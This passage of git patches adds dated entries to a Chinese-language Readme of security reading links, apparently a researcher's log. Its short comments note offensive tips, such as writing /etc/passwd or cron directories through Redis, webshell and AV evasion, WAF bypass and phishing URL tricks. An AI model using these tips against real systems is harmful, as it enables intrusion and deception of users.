Slip漏洞案例分析及实战挖掘](https://xz.aliyun.com/t/12081) **主要是fix的代码可能有问题 一部分开发人员判断的是startwith** + 2023/01/30 [Docmosis Tornado的漏洞](https://frycos.github.io/vulns4free/2023/01/24/0days-united-nations.html) ++ 2023/02/01 [Nginx 通过 Lua + Redis 实现动态封禁 IP](https://mp.weixin.qq.com/s/jjwTz53ks61cN5O3l8jHdw) From 34024c8050995e60f0eb8d54ac8ef14e5b783284 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 1 Feb 2023 19:14:22 +0800 Subject: [PATCH 191/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 97cb930..bbe8fa6 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -262,4 +262,5 @@ + 2023/01/29 [PHP Development Server <= 7.4.21 - Remote Source Disclosure](https://blog.projectdiscovery.io/php-http-server-source-disclosure/) **np** + 2023/01/29 [Java Zip Slip漏洞案例分析及实战挖掘](https://xz.aliyun.com/t/12081) **主要是fix的代码可能有问题 一部分开发人员判断的是startwith** + 2023/01/30 [Docmosis Tornado的漏洞](https://frycos.github.io/vulns4free/2023/01/24/0days-united-nations.html) -+ 2023/02/01 [Nginx 通过 Lua + Redis 实现动态封禁 IP](https://mp.weixin.qq.com/s/jjwTz53ks61cN5O3l8jHdw) ++ 2023/02/01 [Nginx 通过 Lua + Redis 实现动态封禁 IP](https://mp.weixin.qq.com/s/jjwTz53ks61cN5O3l8jHdw) ++ 2023/02/01 [Redis常见利用方法](https://mp.weixin.qq.com/s/qQkiGO5wPs8no_BoK13tig) **可写/etc/passwd 替换,计划任务 centos可写/var/spool/cron/* ubuntu 写/etc/cron.d/* ** From 98d47619c28482ef86504e731e4eff8f8c45bc48 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 2 Feb 2023 20:28:03 +0800 Subject: [PATCH 192/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index bbe8fa6..20d2377 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -263,4 +263,5 @@ + 2023/01/29 [Java Zip Slip漏洞案例分析及实战挖掘](https://xz.aliyun.com/t/12081) **主要是fix的代码可能有问题 一部分开发人员判断的是startwith** + 2023/01/30 [Docmosis Tornado的漏洞](https://frycos.github.io/vulns4free/2023/01/24/0days-united-nations.html) + 2023/02/01 [Nginx 通过 Lua + Redis 实现动态封禁 IP](https://mp.weixin.qq.com/s/jjwTz53ks61cN5O3l8jHdw) -+ 2023/02/01 [Redis常见利用方法](https://mp.weixin.qq.com/s/qQkiGO5wPs8no_BoK13tig) **可写/etc/passwd 替换,计划任务 centos可写/var/spool/cron/* ubuntu 写/etc/cron.d/* ** ++ 2023/02/01 [Redis常见利用方法](https://mp.weixin.qq.com/s/qQkiGO5wPs8no_BoK13tig) ** 可写/etc/passwd 替换,计划任务 centos可写/var/spool/cron/* ubuntu 写/etc/cron.d/* ** ++ 2023/02/02 [水平越权挖掘技巧与自动化越权漏洞检测](https://github.com/Firebasky/Java/tree/main/java%E6%97%A5%E5%B8%B8) From 8f2c86d4f92990975fbce31449874276bad6310c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 3 Feb 2023 23:34:23 +0800 Subject: [PATCH 193/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 20d2377..cd55399 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -265,3 +265,4 @@ + 2023/02/01 [Nginx 通过 Lua + Redis 实现动态封禁 IP](https://mp.weixin.qq.com/s/jjwTz53ks61cN5O3l8jHdw) + 2023/02/01 [Redis常见利用方法](https://mp.weixin.qq.com/s/qQkiGO5wPs8no_BoK13tig) ** 可写/etc/passwd 替换,计划任务 centos可写/var/spool/cron/* ubuntu 写/etc/cron.d/* ** + 2023/02/02 [水平越权挖掘技巧与自动化越权漏洞检测](https://github.com/Firebasky/Java/tree/main/java%E6%97%A5%E5%B8%B8) ++ 2023/02/03 [ImageMagick：隐藏在网上图像背后的漏洞](https://mp.weixin.qq.com/s/zJkZbNmA1vDkpxP0SNVxHA) **np** From 01f655987e69a8c767deb43102ad63c3cca9e5bf Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 6 Feb 2023 18:20:00 +0800 Subject: [PATCH 194/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index cd55399..1274f69 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -266,3 +266,4 @@ + 2023/02/01 [Redis常见利用方法](https://mp.weixin.qq.com/s/qQkiGO5wPs8no_BoK13tig) ** 可写/etc/passwd 替换,计划任务 centos可写/var/spool/cron/* ubuntu 写/etc/cron.d/* ** + 2023/02/02 [水平越权挖掘技巧与自动化越权漏洞检测](https://github.com/Firebasky/Java/tree/main/java%E6%97%A5%E5%B8%B8) + 2023/02/03 [ImageMagick：隐藏在网上图像背后的漏洞](https://mp.weixin.qq.com/s/zJkZbNmA1vDkpxP0SNVxHA) **np** ++ 2023/02/06 [Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645](https://mp.weixin.qq.com/s/rrC_CkSvEOsb8Xib21co0A) **黑名单可以bypass** From d66d38939f448a4f316f06cea4756d3455bdc018 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 8 Feb 2023 21:31:54 +0800 Subject: [PATCH 195/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 1274f69..bc75483 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -267,3 +267,4 @@ + 2023/02/02 [水平越权挖掘技巧与自动化越权漏洞检测](https://github.com/Firebasky/Java/tree/main/java%E6%97%A5%E5%B8%B8) + 2023/02/03 [ImageMagick：隐藏在网上图像背后的漏洞](https://mp.weixin.qq.com/s/zJkZbNmA1vDkpxP0SNVxHA) **np** + 2023/02/06 [Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645](https://mp.weixin.qq.com/s/rrC_CkSvEOsb8Xib21co0A) **黑名单可以bypass** ++ 2023/02/08 [实战钓鱼之url魔改](https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247490656&idx=1&sn=0d98bc095f34ecfb53f0c0d5d835ba32&chksm=c187dc71f6f0556707214ade4ebd207f2a6aeba469f5641f15d96892c13a37a8856c67421f1c&mpshare=1&scene=23&srcid=0208XWF2fNX9S3weD9OrMXKT&sharer_sharetime=1675853346072&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **有点意思,可以用在钓鱼方面** From 62a7791c550314a2750df8d2f7e61dc7df9d4b61 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 10 Feb 2023 13:06:15 +0800 Subject: [PATCH 196/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index bc75483..15f4423 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -268,3 +268,4 @@ + 2023/02/03 [ImageMagick：隐藏在网上图像背后的漏洞](https://mp.weixin.qq.com/s/zJkZbNmA1vDkpxP0SNVxHA) **np** + 2023/02/06 [Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645](https://mp.weixin.qq.com/s/rrC_CkSvEOsb8Xib21co0A) **黑名单可以bypass** + 2023/02/08 [实战钓鱼之url魔改](https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247490656&idx=1&sn=0d98bc095f34ecfb53f0c0d5d835ba32&chksm=c187dc71f6f0556707214ade4ebd207f2a6aeba469f5641f15d96892c13a37a8856c67421f1c&mpshare=1&scene=23&srcid=0208XWF2fNX9S3weD9OrMXKT&sharer_sharetime=1675853346072&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **有点意思,可以用在钓鱼方面** ++ 2023/02/10 [json 格式 bypass waf](https://lab.wallarm.com/waf-json-decoding-capability-required-to-protect-against-api-threats-like-cve-2020-13942-apache-unomi-rce/) **json 默认支持 unicode 编码** From fb4d535ca76fe7bf49c67b050c659a5b376ad454 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 10 Feb 2023 21:01:02 +0800 Subject: [PATCH 197/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 15f4423..ea9768f 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -269,3 +269,4 @@ + 2023/02/06 [Numen安全研究员发现Apache Linkis漏洞CVE-2022-44645](https://mp.weixin.qq.com/s/rrC_CkSvEOsb8Xib21co0A) **黑名单可以bypass** + 2023/02/08 [实战钓鱼之url魔改](https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247490656&idx=1&sn=0d98bc095f34ecfb53f0c0d5d835ba32&chksm=c187dc71f6f0556707214ade4ebd207f2a6aeba469f5641f15d96892c13a37a8856c67421f1c&mpshare=1&scene=23&srcid=0208XWF2fNX9S3weD9OrMXKT&sharer_sharetime=1675853346072&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **有点意思,可以用在钓鱼方面** + 2023/02/10 [json 格式 bypass waf](https://lab.wallarm.com/waf-json-decoding-capability-required-to-protect-against-api-threats-like-cve-2020-13942-apache-unomi-rce/) **json 默认支持 unicode 编码** ++ 2023/02/10 [红队攻防实践：unicode进行webshell免杀的思考](https://mp.weixin.qq.com/s?__biz=MzI4MzA0ODUwNw==&mid=2247484997&idx=1&sn=8694814291d80337928e59afd3034b4c&chksm=eb91e911dce6600735f1d4fae65fb01c682fe9bddc3e72a67d2ae993baac5ccc1f93c1924467&cur_album_id=1342350211271966722&scene=189#wechat_redirect) **里面的零宽连接符ZWJ有意思** [零宽字符妙用](https://1991421.cn/2021/03/08/3c5b1b78/) From 12a737174f71891b9358c0d1d9be4bd120cf2aeb Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 11 Feb 2023 17:47:26 +0800 Subject: [PATCH 198/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index ea9768f..0133fcb 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -270,3 +270,4 @@ + 2023/02/08 [实战钓鱼之url魔改](https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247490656&idx=1&sn=0d98bc095f34ecfb53f0c0d5d835ba32&chksm=c187dc71f6f0556707214ade4ebd207f2a6aeba469f5641f15d96892c13a37a8856c67421f1c&mpshare=1&scene=23&srcid=0208XWF2fNX9S3weD9OrMXKT&sharer_sharetime=1675853346072&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **有点意思,可以用在钓鱼方面** + 2023/02/10 [json 格式 bypass waf](https://lab.wallarm.com/waf-json-decoding-capability-required-to-protect-against-api-threats-like-cve-2020-13942-apache-unomi-rce/) **json 默认支持 unicode 编码** + 2023/02/10 [红队攻防实践：unicode进行webshell免杀的思考](https://mp.weixin.qq.com/s?__biz=MzI4MzA0ODUwNw==&mid=2247484997&idx=1&sn=8694814291d80337928e59afd3034b4c&chksm=eb91e911dce6600735f1d4fae65fb01c682fe9bddc3e72a67d2ae993baac5ccc1f93c1924467&cur_album_id=1342350211271966722&scene=189#wechat_redirect) **里面的零宽连接符ZWJ有意思** [零宽字符妙用](https://1991421.cn/2021/03/08/3c5b1b78/) ++ 2023/02/11 [PWN2OWNING TWO HOSTS AT THE SAME TIME: ABUSING INDUCTIVE AUTOMATION IGNITION’S CUSTOM DESERIALIZATION](https://www.zerodayinitiative.com/blog/2023/2/6/pwn2owning-two-hosts-at-the-same-time-abusing-inductive-automation-ignitions-custom-deserialization) From 02f2c95f5bc469d6fccb1a0414cd3a41b9e547c1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 14 Feb 2023 13:05:11 +0800 Subject: [PATCH 199/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 0133fcb..b3be6a3 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -271,3 +271,4 @@ + 2023/02/10 [json 格式 bypass waf](https://lab.wallarm.com/waf-json-decoding-capability-required-to-protect-against-api-threats-like-cve-2020-13942-apache-unomi-rce/) **json 默认支持 unicode 编码** + 2023/02/10 [红队攻防实践：unicode进行webshell免杀的思考](https://mp.weixin.qq.com/s?__biz=MzI4MzA0ODUwNw==&mid=2247484997&idx=1&sn=8694814291d80337928e59afd3034b4c&chksm=eb91e911dce6600735f1d4fae65fb01c682fe9bddc3e72a67d2ae993baac5ccc1f93c1924467&cur_album_id=1342350211271966722&scene=189#wechat_redirect) **里面的零宽连接符ZWJ有意思** [零宽字符妙用](https://1991421.cn/2021/03/08/3c5b1b78/) + 2023/02/11 [PWN2OWNING TWO HOSTS AT THE SAME TIME: ABUSING INDUCTIVE AUTOMATION IGNITION’S CUSTOM DESERIALIZATION](https://www.zerodayinitiative.com/blog/2023/2/6/pwn2owning-two-hosts-at-the-same-time-abusing-inductive-automation-ignitions-custom-deserialization) ++ 2023/02/14 [环境变量的利用](https://www.elttam.com/blog/env/#content) **np的** From ac094e42846e39b6174bb1bfc673d45d2f0d322d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 14 Feb 2023 15:56:44 +0800 Subject: [PATCH 200/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b3be6a3..70028f4 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -272,3 +272,4 @@ + 2023/02/10 [红队攻防实践：unicode进行webshell免杀的思考](https://mp.weixin.qq.com/s?__biz=MzI4MzA0ODUwNw==&mid=2247484997&idx=1&sn=8694814291d80337928e59afd3034b4c&chksm=eb91e911dce6600735f1d4fae65fb01c682fe9bddc3e72a67d2ae993baac5ccc1f93c1924467&cur_album_id=1342350211271966722&scene=189#wechat_redirect) **里面的零宽连接符ZWJ有意思** [零宽字符妙用](https://1991421.cn/2021/03/08/3c5b1b78/) + 2023/02/11 [PWN2OWNING TWO HOSTS AT THE SAME TIME: ABUSING INDUCTIVE AUTOMATION IGNITION’S CUSTOM DESERIALIZATION](https://www.zerodayinitiative.com/blog/2023/2/6/pwn2owning-two-hosts-at-the-same-time-abusing-inductive-automation-ignitions-custom-deserialization) + 2023/02/14 [环境变量的利用](https://www.elttam.com/blog/env/#content) **np的** ++ 2023/02/14 [GHSL-2021-1009: URL access filters bypass in Alpine - CVE-2022-23553](https://securitylab.github.com/advisories/GHSL-2021-1009-Alpine/) **很多这样的bypass权限的利用** From b503047ef4c3079a5a705a93c01eb2c8e5e4f15d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 16 Feb 2023 00:11:53 +0800 Subject: [PATCH 201/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 70028f4..d955a35 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -273,3 +273,4 @@ + 2023/02/11 [PWN2OWNING TWO HOSTS AT THE SAME TIME: ABUSING INDUCTIVE AUTOMATION IGNITION’S CUSTOM DESERIALIZATION](https://www.zerodayinitiative.com/blog/2023/2/6/pwn2owning-two-hosts-at-the-same-time-abusing-inductive-automation-ignitions-custom-deserialization) + 2023/02/14 [环境变量的利用](https://www.elttam.com/blog/env/#content) **np的** + 2023/02/14 [GHSL-2021-1009: URL access filters bypass in Alpine - CVE-2022-23553](https://securitylab.github.com/advisories/GHSL-2021-1009-Alpine/) **很多这样的bypass权限的利用** ++ 2023/02/16 [XXE with Auto-Update in install4j](https://frycos.github.io/vulns4free/2023/02/12/install4j-xxe.html) **这个思路非常好,很多产品自动更新的时候去server端解析传递过来的xml格式就可能造成xxe。我们只需要evil server就可以完成攻击** From cc284e79c6d34b2f343a438c11c99854c2d0f43f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 18 Feb 2023 22:31:23 +0800 Subject: [PATCH 202/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index d955a35..4932f67 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -274,3 +274,4 @@ + 2023/02/14 [环境变量的利用](https://www.elttam.com/blog/env/#content) **np的** + 2023/02/14 [GHSL-2021-1009: URL access filters bypass in Alpine - CVE-2022-23553](https://securitylab.github.com/advisories/GHSL-2021-1009-Alpine/) **很多这样的bypass权限的利用** + 2023/02/16 [XXE with Auto-Update in install4j](https://frycos.github.io/vulns4free/2023/02/12/install4j-xxe.html) **这个思路非常好,很多产品自动更新的时候去server端解析传递过来的xml格式就可能造成xxe。我们只需要evil server就可以完成攻击** ++ 2023/02/18 [https://mp.weixin.qq.com/s/ff6LsT2j1OY1lv-_9gJN2A](顶级Javaer都在使用的类库，真香！) **可以记录一下** From 4e0ce4ecefb4d473bf9604f203e102eb9fc9c419 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 19 Feb 2023 21:12:18 +0800 Subject: [PATCH 203/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 4932f67..ba1ceb2 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -275,3 +275,4 @@ + 2023/02/14 [GHSL-2021-1009: URL access filters bypass in Alpine - CVE-2022-23553](https://securitylab.github.com/advisories/GHSL-2021-1009-Alpine/) **很多这样的bypass权限的利用** + 2023/02/16 [XXE with Auto-Update in install4j](https://frycos.github.io/vulns4free/2023/02/12/install4j-xxe.html) **这个思路非常好,很多产品自动更新的时候去server端解析传递过来的xml格式就可能造成xxe。我们只需要evil server就可以完成攻击** + 2023/02/18 [https://mp.weixin.qq.com/s/ff6LsT2j1OY1lv-_9gJN2A](顶级Javaer都在使用的类库，真香！) **可以记录一下** ++ 2023/02/19 [Java代码审计项目--某在线教育开源系统](https://mp.weixin.qq.com/s/4sZWD792zxLIkIXPk01yhA) **这个流程是比较好的,看一些过滤器和监听器** From f3396a31db8d7b0fde4404991fd9a08f2f105937 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 19 Feb 2023 23:54:43 +0800 Subject: [PATCH 204/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index ba1ceb2..b5df6e9 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -276,3 +276,4 @@ + 2023/02/16 [XXE with Auto-Update in install4j](https://frycos.github.io/vulns4free/2023/02/12/install4j-xxe.html) **这个思路非常好,很多产品自动更新的时候去server端解析传递过来的xml格式就可能造成xxe。我们只需要evil server就可以完成攻击** + 2023/02/18 [https://mp.weixin.qq.com/s/ff6LsT2j1OY1lv-_9gJN2A](顶级Javaer都在使用的类库，真香！) **可以记录一下** + 2023/02/19 [Java代码审计项目--某在线教育开源系统](https://mp.weixin.qq.com/s/4sZWD792zxLIkIXPk01yhA) **这个流程是比较好的,看一些过滤器和监听器** ++ 2023/02/19 [关于使用OCR文字识别方式进行免杀](https://xz.aliyun.com/t/12114) **好思路啊** From e13aa0d4fe761514ead4608b66d4afd3a03a6ea4 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 20 Feb 2023 13:48:16 +0800 Subject: [PATCH 205/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b5df6e9..51cc13e 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -277,3 +277,4 @@ + 2023/02/18 [https://mp.weixin.qq.com/s/ff6LsT2j1OY1lv-_9gJN2A](顶级Javaer都在使用的类库，真香！) **可以记录一下** + 2023/02/19 [Java代码审计项目--某在线教育开源系统](https://mp.weixin.qq.com/s/4sZWD792zxLIkIXPk01yhA) **这个流程是比较好的,看一些过滤器和监听器** + 2023/02/19 [关于使用OCR文字识别方式进行免杀](https://xz.aliyun.com/t/12114) **好思路啊** ++ 2023/02/20 [redis安全学习小记](https://mp.weixin.qq.com/s/W9joCtUQfNA62ZWXwqMmsw) **redis安全学习** From 71c867e35aee0a2fc12925d5e0586b1e0d74e3df Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 20 Feb 2023 14:03:49 +0800 Subject: [PATCH 206/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 51cc13e..e99a5ff 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -278,3 +278,4 @@ + 2023/02/19 [Java代码审计项目--某在线教育开源系统](https://mp.weixin.qq.com/s/4sZWD792zxLIkIXPk01yhA) **这个流程是比较好的,看一些过滤器和监听器** + 2023/02/19 [关于使用OCR文字识别方式进行免杀](https://xz.aliyun.com/t/12114) **好思路啊** + 2023/02/20 [redis安全学习小记](https://mp.weixin.qq.com/s/W9joCtUQfNA62ZWXwqMmsw) **redis安全学习** ++ 2023/02/20 [一次“SSRF-->RCE”的艰难利用](https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247483865&idx=1&sn=41e56040229e383a82a671fc359ee82b&chksm=f9ee6d66ce99e470d102becfcf63955f2aae1d88bc43ef8e7939bc93d786ff2f994eac969d32&scene=21&sessionid=1586255695&key=c00e1a5b49adb240be940797e7d3cb821bae9b89771be268faa858b2888bbba3e96562ccac53df81389cb41e548a9e6412d4f83b6b7b541825630aa6ace9d1d040a3b7cd677b5ca137cc9b1d2297948e&ascene=1&uin=MzE0MDM4MzExMw==&devicetype=Windows%2010&version=62080079&lang=zh_CN&exportkey=A6a52QI1M4H5IGXp8ekqTtY=&pass_ticket=awXcPg/ApqlfbrG8njT11ZZYAGjwbhrnExtbvARh//rtbsupQLnZBKBPE6SCXvhn#wechat_redirect) **学习** From d29418b5c34566a622647549ba52971f1ad1bad6 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 20 Feb 2023 23:16:45 +0800 Subject: [PATCH 207/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index e99a5ff..190a594 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -279,3 +279,4 @@ + 2023/02/19 [关于使用OCR文字识别方式进行免杀](https://xz.aliyun.com/t/12114) **好思路啊** + 2023/02/20 [redis安全学习小记](https://mp.weixin.qq.com/s/W9joCtUQfNA62ZWXwqMmsw) **redis安全学习** + 2023/02/20 [一次“SSRF-->RCE”的艰难利用](https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247483865&idx=1&sn=41e56040229e383a82a671fc359ee82b&chksm=f9ee6d66ce99e470d102becfcf63955f2aae1d88bc43ef8e7939bc93d786ff2f994eac969d32&scene=21&sessionid=1586255695&key=c00e1a5b49adb240be940797e7d3cb821bae9b89771be268faa858b2888bbba3e96562ccac53df81389cb41e548a9e6412d4f83b6b7b541825630aa6ace9d1d040a3b7cd677b5ca137cc9b1d2297948e&ascene=1&uin=MzE0MDM4MzExMw==&devicetype=Windows%2010&version=62080079&lang=zh_CN&exportkey=A6a52QI1M4H5IGXp8ekqTtY=&pass_ticket=awXcPg/ApqlfbrG8njT11ZZYAGjwbhrnExtbvARh//rtbsupQLnZBKBPE6SCXvhn#wechat_redirect) **学习** ++ 2023/02/20 [五一快乐-微某OA从0day流量分析到武器化利用](https://mp.weixin.qq.com/s/iTP9jBypsJEsSlAIaNOnhw) From 1f02625eb06ca1416d472985025e19a948f56ea9 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 23 Feb 2023 14:26:43 +0800 Subject: [PATCH 208/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 190a594..d0965a9 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -280,3 +280,4 @@ + 2023/02/20 [redis安全学习小记](https://mp.weixin.qq.com/s/W9joCtUQfNA62ZWXwqMmsw) **redis安全学习** + 2023/02/20 [一次“SSRF-->RCE”的艰难利用](https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247483865&idx=1&sn=41e56040229e383a82a671fc359ee82b&chksm=f9ee6d66ce99e470d102becfcf63955f2aae1d88bc43ef8e7939bc93d786ff2f994eac969d32&scene=21&sessionid=1586255695&key=c00e1a5b49adb240be940797e7d3cb821bae9b89771be268faa858b2888bbba3e96562ccac53df81389cb41e548a9e6412d4f83b6b7b541825630aa6ace9d1d040a3b7cd677b5ca137cc9b1d2297948e&ascene=1&uin=MzE0MDM4MzExMw==&devicetype=Windows%2010&version=62080079&lang=zh_CN&exportkey=A6a52QI1M4H5IGXp8ekqTtY=&pass_ticket=awXcPg/ApqlfbrG8njT11ZZYAGjwbhrnExtbvARh//rtbsupQLnZBKBPE6SCXvhn#wechat_redirect) **学习** + 2023/02/20 [五一快乐-微某OA从0day流量分析到武器化利用](https://mp.weixin.qq.com/s/iTP9jBypsJEsSlAIaNOnhw) ++ 2023/02/23 [实战 | 记一次针对非法网站的SSRF渗透](https://mp.weixin.qq.com/s/yfWAu6ebXA14GfOTP86XsA) From 68e880256f1f0caa55e67c1c47f9cc1bd274001f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 24 Feb 2023 18:24:28 +0800 Subject: [PATCH 209/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index d0965a9..ecda1e9 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -281,3 +281,4 @@ + 2023/02/20 